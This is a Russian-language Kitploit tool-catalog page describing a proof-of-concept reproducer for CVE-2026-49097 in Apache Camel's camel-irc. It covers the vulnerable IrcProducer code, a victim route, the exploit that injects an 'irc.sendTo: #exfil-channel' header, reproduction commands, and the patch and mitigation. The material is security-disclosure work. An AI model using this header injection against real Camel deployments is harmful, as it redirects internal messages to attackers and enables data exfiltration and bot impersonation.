Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-49097 — PoC-репродуктор для CVE-2026-49097 (Apache Camel camel-irc): заголовок irc.sendTo без префикса Camel обходит фильтр HTTP-заголовков и переопределяет настроенный канал производителя, перенаправляя IRC-сообщение на выбранный атакующим адрес. Исправлено в 4.14.8/4.18.3/4.21.0. | Kitploit
Инструменты/GitHubGitHub/oscerd/cve-2026-49097
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на Проникновение
GitHuboscerd/cve-2026-49097

CVE-2026-49097

PoC-репродуктор для CVE-2026-49097 (Apache Camel camel-irc): заголовок irc.sendTo без префикса Camel обходит фильтр HTTP-заголовков и переопределяет настроенный канал производителя, перенаправляя IRC-сообщение на выбранный атакующим адрес. Исправлено в 4.14.8/4.18.3/4.21.0.

Репозиторий
31 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Репродуктор инъекции заголовка irc.sendTo в camel-irc (CVE-2026-49097)

Этот проект демонстрирует инъекцию в заголовок сообщения в компоненте camel-irc Apache Camel, отслеживаемую как CVE-2026-49097. IrcProducer читает заголовок irc.sendTo, чтобы выбрать назначение исходящего IRC-сообщения; при его наличии он переопределяет настроенный список каналов конечной точки:

root@kitploit:~
// IrcProducer.process (affected 4.18.2)
final String sendTo = exchange.getIn().getHeader(IrcConstants.IRC_SEND_TO, String.class);  // "irc.sendTo"
...
} else if (sendTo != null) {
    connection.doPrivmsg(sendTo, msg);          // attacker-chosen destination
} else {
    for (IrcChannel channel : getEndpoint().getConfiguration().getChannelList()) {
        connection.doPrivmsg(channel.getName(), msg);   // the intended, configured channel(s)
    }
}

Константа заголовка IRC_SEND_TO имеет простое значение . Поскольку она не начинается с префикса / , — который блокирует только пространство имён заголовков Camel на HTTP-границе — пропускает её из входящего HTTP-запроса напрямую в Exchange.

irc.sendTo
Camel
camel
HttpHeaderFilterStrategy

Поэтому в маршруте, который связывает HTTP-потребитель (например, platform-http) с производителем irc:, любой HTTP-клиент может указать irc.sendTo и перенаправить сообщение на произвольный IRC-канал или ник, эксфильтруя содержимое, предназначенное для внутреннего канала, в контролируемое атакующим место либо выдавая себя за бота в другом канале. В том же исправлении были переименованы ещё девять констант irc.*; irc.sendTo — непосредственно эксплуатируемая из них.

Этот PoC демонстрирует воздействие как перенаправление сообщения / раскрытие информации (CWE-20 → CWE-74).

Бюллетень: https://camel.apache.org/security/CVE-2026-49097.html

Сводка об уязвимости

СвойствоЗначение
Компонентcamel-irc
Затронутый классorg.apache.camel.component.irc.IrcProducer, читающий IrcConstants.IRC_SEND_TO ("irc.sendTo")
CWECWE-20 (некорректная проверка входных данных) / CWE-74 (инъекция)
ВоздействиеПеренаправление исходящего IRC-сообщения на выбранный атакующим канал/ник (эксфильтрация, имитация)
ПредусловияМаршрут связывает HTTP-потребитель с производителем irc:; без аутентификации, когда потребитель
Затронутые версииС 4.0.0 до 4.14.8, с 4.15.0 до 4.18.3, с 4.19.0 до 4.21.0
Исправленные версии4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23629 (PR apache/camel#23594)
АвторYu Bao (PayPal)

Исправление переименовывает десять констант заголовков irc.* в соответствии с соглашением CamelIrc* (например, irc.sendTo → CamelIrcSendTo), поэтому на HTTP-границе они фильтруются, как и любой другой управляющий заголовок Camel. Та же группа, что и CVE-2025-27636, CVE-2026-46454 и CVE-2026-48206. Примечание: camel-irc устарел начиная с 4.21.0.

Почему IRC-сервер не нужен

Уязвимость целиком находится в выборе назначения в IrcProducer; IRC-сокет — это лишь транспорт. Этот репродуктор запускает настоящий IrcProducer и настоящий класс IRCConnection из irclib; от последнего создан подкласс, переопределяющий send(...) (через который проходят все команды do*, включая doPrivmsg) так, что он записывает цель PRIVMSG вместо записи в сокет. Крошечный пользовательский компонент irc выдаёт это записывающее соединение. Связь с IRC-сетью не устанавливается.

Маршрут жертвы

root@kitploit:~
from("platform-http:/notify")
    .to("irc:ircnet:6667?nickname=notifierbot&channels=%23alerts&commandTimeout=100");

Конечная точка «notify», которая пересылает в фиксированный внутренний канал #alerts. В HTTP API нет параметра назначения — автор предполагает, что клиент не может выбирать канал. Атакующий задаёт irc.sendTo, и бот публикует сообщение в канал по выбору атакующего.

Структура репозитория

root@kitploit:~
CVE-2026-49097/
├── pom.xml                 # camel-platform-http + camel-irc 4.18.2 (irclib 1.10)
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── RecordingIRCConnection.java  # real IRCConnection subclass; records PRIVMSG targets, no socket
    │   ├── RecordingIrcComponent.java   # hands out the recording connection
    │   ├── IrcComponentConfig.java      # registers it under the 'irc' scheme
    │   ├── IrcRecorder.java             # captures the last delivered target + text
    │   ├── VictimRoute.java             # platform-http:/notify -> irc:...#alerts
    │   └── ExploitController.java       # attacker: injects irc.sendTo=#exfil-channel
    └── resources/
        └── application.properties

Предварительные требования

  • Docker и Docker Compose
  • Java 17+ и Maven 3.8+

Шаги воспроизведения

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

Ожидаемый вывод

root@kitploit:~
=== CVE-2026-49097 — camel-irc irc.sendTo header injection (message redirection) ===

Route intent: POST /notify -> IRC channel #alerts (fixed in the endpoint config)

1) Legitimate POST /notify (no irc.sendTo header)
     IRC message delivered to: #alerts
     text: Revenue report Q3: $4.2M (internal distribution only)

2) Injected POST /notify with header 'irc.sendTo: #exfil-channel'
     IRC message delivered to: #exfil-channel
     text: Revenue report Q3: $4.2M (internal distribution only)

>>> PROVEN: an inbound HTTP header (irc.sendTo) passed the Camel HTTP header filter and
>>> overrode the producer's configured channel, sending the internal notification to an
>>> attacker-chosen IRC destination (exfiltration / bot impersonation): true

Рекомендуемое исправление

Обновитесь до 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23629). После обновления маршруты, задающие назначение IRC через заголовок, должны использовать имя CamelIrcSendTo. Обратите внимание: camel-irc устарел начиная с 4.21.0.

Смягчение последствий

До обновления удаляйте управляющие заголовки camel-irc из любого недоверенного входящего трафика перед производителем irc: (например, removeHeaders("irc.*")) и задавайте назначение из доверенного источника.

Отказ от ответственности

Этот репродуктор предоставляется только для исследований в области безопасности и авторизованного тестирования в отношении публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.

Скачать инструмент